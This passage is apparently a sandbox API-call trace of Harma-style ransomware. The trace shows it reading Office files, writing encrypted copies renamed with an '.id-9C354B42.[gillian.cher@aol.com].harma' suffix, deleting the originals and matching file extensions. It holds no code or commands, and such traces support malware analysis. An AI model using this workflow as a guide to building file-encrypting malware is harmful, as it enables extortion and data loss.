dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.418] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.418] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.421] GetLastError () returned 0x0 [0162.421] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xa980, lpOverlapped=0x0) returned 1 [0162.424] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xa990, lpOverlapped=0x0) returned 1 [0162.426] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0162.426] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.426] SetEndOfFile (hFile=0x364) returned 1 [0162.711] CloseHandle (hObject=0x364) returned 1 [0162.712] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.712] SetEndOfFile (hFile=0x3a4) returned 1 [0162.879] CloseHandle (hObject=0x3a4) returned 1 [0162.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 1 [0163.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.027] lstrlenW (lpString=".doc") returned 4 [0163.027] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0163.027] lstrlenW (lpString=".docx") returned 5 [0163.027] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0163.027] lstrlenW (lpString=".pdf") returned 4 [0163.027] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0163.027] lstrlenW (lpString=".xls") returned 4 [0163.027] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0163.027] lstrlenW (lpString=".xlsx") returned 5 [0163.027] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0163.027] lstrlenW (lpString=".ppt") returned 4 [0163.027] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0163.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.027] lstrlenW (lpString=".zip") returned 4 [0163.027] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0163.027] lstrlenW (lpString=".rar") returned 4 [0163.027] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0163.027] lstrlenW (lpString=".bz2") returned 4 [0163.027] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0163.027] lstrlenW (lpString=".7z") returned 3 [0163.028] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0163.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.028] lstrlenW (lpString=".dbf") returned 4 [0163.028] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0163.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.028] lstrlenW (lpString=".1cd") returned 4 [0163.028] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0163.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.028] lstrlenW (lpString=".jpg") returned 4 [0163.028] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0163.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.028] lstrlenW (lpString=".doc") returned 4 [0163.028] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0163.028] lstrlenW (lpString=".docx") returned 5 [0163.028] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0163.028] lstrlenW (lpString=".pdf") returned 4 [0163.028] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0163.028] lstrlenW (lpString=".xls") returned 4 [0163.028] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0163.029] lstrlenW (lpString=".xlsx") returned 5 [0163.029] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0163.029] lstrlenW (lpString=".ppt") returned 4 [0163.029] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0163.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.029] lstrlenW (lpString=".zip") returned 4 [0163.029] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0163.029] lstrlenW (lpString=".rar") returned 4 [0163.029] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0163.029] lstrlenW (lpString=".bz2") returned 4 [0163.029] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0163.029] lstrlenW (lpString=".7z") returned 3 [0163.029] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0163.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.029] lstrlenW (lpString=".dbf") returned 4 [0163.029] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0163.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.029] lstrlenW (lpString=".1cd") returned 4 [0163.029] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0163.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0163.029] lstrlenW (lpString=".jpg") returned 4 [0163.029] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0163.030] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0163.030] lstrlenW (lpString="VISIO.HXS") returned 9 [0163.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0163.030] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=2839338) returned 1 [0163.030] CloseHandle (hObject=0x374) returned 1 [0163.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs")) returned 0x20 [0163.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0163.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.031] lstrlenW (lpString=".doc") returned 4 [0163.031] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0163.031] lstrlenW (lpString=".docx") returned 5 [0163.031] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0163.032] lstrlenW (lpString=".pdf") returned 4 [0163.032] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0163.032] lstrlenW (lpString=".xls") returned 4 [0163.032] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0163.032] lstrlenW (lpString=".xlsx") returned 5 [0163.032] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0163.032] lstrlenW (lpString=".ppt") returned 4 [0163.032] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0163.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.032] lstrlenW (lpString=".zip") returned 4 [0163.032] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0163.032] lstrlenW (lpString=".rar") returned 4 [0163.032] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0163.032] lstrlenW (lpString=".bz2") returned 4 [0163.032] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0163.032] lstrlenW (lpString=".7z") returned 3 [0163.032] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0163.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.032] lstrlenW (lpString=".dbf") returned 4 [0163.032] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0163.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.033] lstrlenW (lpString=".1cd") returned 4 [0163.033] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0163.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.033] lstrlenW (lpString=".jpg") returned 4 [0163.033] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0163.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.033] lstrlenW (lpString=".doc") returned 4 [0163.033] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0163.033] lstrlenW (lpString=".docx") returned 5 [0163.033] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0163.033] lstrlenW (lpString=".pdf") returned 4 [0163.033] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0163.033] lstrlenW (lpString=".xls") returned 4 [0163.033] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0163.033] lstrlenW (lpString=".xlsx") returned 5 [0163.033] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0163.033] lstrlenW (lpString=".ppt") returned 4 [0163.033] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0163.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.033] lstrlenW (lpString=".zip") returned 4 [0163.033] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0163.033] lstrlenW (lpString=".rar") returned 4 [0163.033] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0163.033] lstrlenW (lpString=".bz2") returned 4 [0163.033] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0163.033] lstrlenW (lpString=".7z") returned 3 [0163.034] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0163.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.034] lstrlenW (lpString=".dbf") returned 4 [0163.034] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0163.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.034] lstrlenW (lpString=".1cd") returned 4 [0163.034] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0163.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0163.034] lstrlenW (lpString=".jpg") returned 4 [0163.034] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0163.034] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0163.034] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0163.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0163.035] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=879814) returned 1 [0163.035] CloseHandle (hObject=0x374) returned 1 [0163.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 0x20 [0163.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0163.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0163.037] GetLastError () returned 0x0 [0163.037] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xd6cc6, lpOverlapped=0x0) returned 1 [0163.157] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xd6cd0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xd6cd0, lpOverlapped=0x0) returned 1 [0163.502] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0163.502] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0163.502] SetEndOfFile (hFile=0x368) returned 1 [0164.162] CloseHandle (hObject=0x368) returned 1 [0164.162] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.162] SetEndOfFile (hFile=0x374) returned 1 [0164.188] CloseHandle (hObject=0x374) returned 1 [0164.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 1 [0164.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.203] lstrlenW (lpString=".doc") returned 4 [0164.203] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.203] lstrlenW (lpString=".docx") returned 5 [0164.203] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0164.203] lstrlenW (lpString=".pdf") returned 4 [0164.203] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.203] lstrlenW (lpString=".xls") returned 4 [0164.203] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.203] lstrlenW (lpString=".xlsx") returned 5 [0164.204] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0164.204] lstrlenW (lpString=".ppt") returned 4 [0164.204] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.204] lstrlenW (lpString=".zip") returned 4 [0164.204] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.204] lstrlenW (lpString=".rar") returned 4 [0164.204] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.204] lstrlenW (lpString=".bz2") returned 4 [0164.204] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.204] lstrlenW (lpString=".7z") returned 3 [0164.204] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.204] lstrlenW (lpString=".dbf") returned 4 [0164.204] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.204] lstrlenW (lpString=".1cd") returned 4 [0164.204] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.204] lstrlenW (lpString=".jpg") returned 4 [0164.204] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.205] lstrlenW (lpString=".doc") returned 4 [0164.205] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.205] lstrlenW (lpString=".docx") returned 5 [0164.205] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0164.205] lstrlenW (lpString=".pdf") returned 4 [0164.205] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.205] lstrlenW (lpString=".xls") returned 4 [0164.205] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.205] lstrlenW (lpString=".xlsx") returned 5 [0164.205] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0164.205] lstrlenW (lpString=".ppt") returned 4 [0164.205] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.205] lstrlenW (lpString=".zip") returned 4 [0164.205] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.205] lstrlenW (lpString=".rar") returned 4 [0164.205] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.205] lstrlenW (lpString=".bz2") returned 4 [0164.205] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.205] lstrlenW (lpString=".7z") returned 3 [0164.205] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.205] lstrlenW (lpString=".dbf") returned 4 [0164.205] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.206] lstrlenW (lpString=".1cd") returned 4 [0164.206] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0164.206] lstrlenW (lpString=".jpg") returned 4 [0164.206] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.206] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0164.206] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0164.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.208] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=676) returned 1 [0164.208] CloseHandle (hObject=0x374) returned 1 [0164.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 0x20 [0164.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.209] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.209] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.511] GetLastError () returned 0x0 [0164.511] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x2a4, lpOverlapped=0x0) returned 1 [0164.512] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x2b0, lpOverlapped=0x0) returned 1 [0164.513] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.513] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x104, lpOverlapped=0x0) returned 1 [0164.513] SetEndOfFile (hFile=0x3ac) returned 1 [0164.514] CloseHandle (hObject=0x3ac) returned 1 [0164.514] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.514] SetEndOfFile (hFile=0x374) returned 1 [0164.516] CloseHandle (hObject=0x374) returned 1 [0164.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 1 [0164.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.518] lstrlenW (lpString=".doc") returned 4 [0164.518] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0164.518] lstrlenW (lpString=".docx") returned 5 [0164.518] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0164.518] lstrlenW (lpString=".pdf") returned 4 [0164.518] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0164.518] lstrlenW (lpString=".xls") returned 4 [0164.518] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0164.518] lstrlenW (lpString=".xlsx") returned 5 [0164.518] lstrcmpiW (lpString1=".xlsx", 